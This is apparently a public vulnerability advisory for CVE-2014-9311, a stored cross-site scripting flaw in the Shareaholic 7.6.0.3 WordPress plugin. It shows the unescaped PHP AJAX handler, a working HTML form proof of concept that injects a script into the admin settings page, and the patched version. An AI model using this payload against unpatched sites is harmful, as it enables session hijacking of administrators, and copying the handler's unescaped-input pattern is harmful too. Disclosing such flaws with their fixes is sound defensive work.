WordPress Plugin Shareaholic 7.6.0.3 - Cross-Site Scripting

# Exploit Title: Shareaholic 7.6.0.3 XSS
# Date: 10-11-2014
# Software Link: https://wordpress.org/plugins/shareaholic/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# CVE: CVE-2014-9311
# Category: webapps

1. Description

ShareaholicAdmin::add_location is accessible for every registered user.

File: shareaholic\shareaholic.php

add_action('wp_ajax_shareaholic_add_location',  array('ShareaholicAdmin', 'add_location'));


$_POST['location'] is not escaped.

File: shareaholic\admin.php

public static function add_location() {
	$location = $_POST['location'];
	$app_name = $location['app_name'];
	ShareaholicUtilities::update_options(array(
	  'location_name_ids' => array(
	    $app_name => array(
	      $location['name'] => $location['id']
	    ),
	  ),
	  $app_name => array(
	    $location['name'] => 'on'
	  )
	));

	echo json_encode(array(
	  'status' => "successfully created a new {$location['app_name']} location",
	  'id' => $location['id']
	));

	die();
}

http://security.szurek.pl/shareaholic-7603-xss.html

2. Proof of Concept

Login as regular user (created using wp-login.php?action=register) then:

<form method="post" action="http://wordpress-install/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="shareaholic_add_location">
    <input type="hidden" name="location[app_name]" value="recommendations">
    <input type="hidden" name="location[name]" value="post_below_content">
    XSS: <input type="text" name="location[id]" value="'><script>alert(String.fromCharCode(88,83,83));</script>">
    <input type="submit" value="Hack!">
</form>

XSS will be visible for admin:

http://wordpress-install/wp-admin/admin.php?page=shareaholic-settings
  
3. Solution:
  
Update to version 7.6.1.0
https://downloads.wordpress.org/plugin/shareaholic.7.6.1.0.zip
https://blog.shareaholic.com/security-update-shareaholic-wordpress-plugin/